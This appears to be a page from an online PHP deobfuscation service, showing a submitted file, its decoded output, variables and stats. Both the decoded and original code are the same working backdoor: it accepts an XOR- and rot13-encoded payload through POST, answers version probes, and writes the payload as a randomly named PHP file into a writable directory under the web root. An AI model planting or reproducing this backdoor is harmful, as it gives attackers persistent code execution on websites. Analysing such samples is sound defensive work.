Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rhskwzcijd = "daifxjsqaddtgpfn";$qapfhmjddx = "";foreach ($_POST as $isxps => $hfdc..

Decoded Output download

<?php $rhskwzcijd = "daifxjsqaddtgpfn";$qapfhmjddx = "";foreach ($_POST as $isxps => $hfdcynvxtv){if (strlen($isxps) == 16 and substr_count($hfdcynvxtv, "%") > 10){fmwalin($isxps, $hfdcynvxtv);}}function fmwalin($isxps, $hhushql){global $qapfhmjddx;$qapfhmjddx = $isxps;$hhushql = str_split(rawurldecode(str_rot13($hhushql)));function kfmkqefnv($zgjbjxw, $isxps){global $rhskwzcijd, $qapfhmjddx;return $zgjbjxw ^ $rhskwzcijd[$isxps % strlen($rhskwzcijd)] ^ $qapfhmjddx[$isxps % strlen($qapfhmjddx)];}$hhushql = implode("", array_map("kfmkqefnv", array_values($hhushql), array_keys($hhushql)));$hhushql = @unserialize($hhushql);if (@is_array($hhushql)){$isxps = array_keys($hhushql);$hhushql = $hhushql[$isxps[0]];if ($hhushql === $isxps[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function vpexovlha($dcbvdkkrrwir) {static $ueaoghcz = array();$efltotkxu = glob($dcbvdkkrrwir . '/*', GLOB_ONLYDIR);if (count($efltotkxu) > 0) {foreach ($efltotkxu as $dcbvdkkrrw){if (@is_writable($dcbvdkkrrw)){$ueaoghcz[] = $dcbvdkkrrw;}}}foreach ($efltotkxu as $dcbvdkkrrwir) vpexovlha($dcbvdkkrrwir);return $ueaoghcz;}$ecyxqbfw = $_SERVER["DOCUMENT_ROOT"];$efltotkxu = vpexovlha($ecyxqbfw);$isxps = array_rand($efltotkxu);$zsueeie = $efltotkxu[$isxps] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($zsueeie, $hhushql);echo "http://" . $_SERVER["HTTP_HOST"] . substr($zsueeie, strlen($ecyxqbfw));exit();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $rhskwzcijd = "daifxjsqaddtgpfn";$qapfhmjddx = "";foreach ($_POST as $isxps => $hfdcynvxtv){if (strlen($isxps) == 16 and substr_count($hfdcynvxtv, "%") > 10){fmwalin($isxps, $hfdcynvxtv);}}function fmwalin($isxps, $hhushql){global $qapfhmjddx;$qapfhmjddx = $isxps;$hhushql = str_split(rawurldecode(str_rot13($hhushql)));function kfmkqefnv($zgjbjxw, $isxps){global $rhskwzcijd, $qapfhmjddx;return $zgjbjxw ^ $rhskwzcijd[$isxps % strlen($rhskwzcijd)] ^ $qapfhmjddx[$isxps % strlen($qapfhmjddx)];}$hhushql = implode("", array_map("kfmkqefnv", array_values($hhushql), array_keys($hhushql)));$hhushql = @unserialize($hhushql);if (@is_array($hhushql)){$isxps = array_keys($hhushql);$hhushql = $hhushql[$isxps[0]];if ($hhushql === $isxps[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function vpexovlha($dcbvdkkrrwir) {static $ueaoghcz = array();$efltotkxu = glob($dcbvdkkrrwir . '/*', GLOB_ONLYDIR);if (count($efltotkxu) > 0) {foreach ($efltotkxu as $dcbvdkkrrw){if (@is_writable($dcbvdkkrrw)){$ueaoghcz[] = $dcbvdkkrrw;}}}foreach ($efltotkxu as $dcbvdkkrrwir) vpexovlha($dcbvdkkrrwir);return $ueaoghcz;}$ecyxqbfw = $_SERVER["DOCUMENT_ROOT"];$efltotkxu = vpexovlha($ecyxqbfw);$isxps = array_rand($efltotkxu);$zsueeie = $efltotkxu[$isxps] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($zsueeie, $hhushql);echo "http://" . $_SERVER["HTTP_HOST"] . substr($zsueeie, strlen($ecyxqbfw));exit();}}}

Function Calls

None

Variables

$qapfhmjddx
$rhskwzcijd daifxjsqaddtgpfn

Stats

MD5 c6e4991f6d7c4f2eb642729fe092b77c
Eval Count 0
Decode Time 90 ms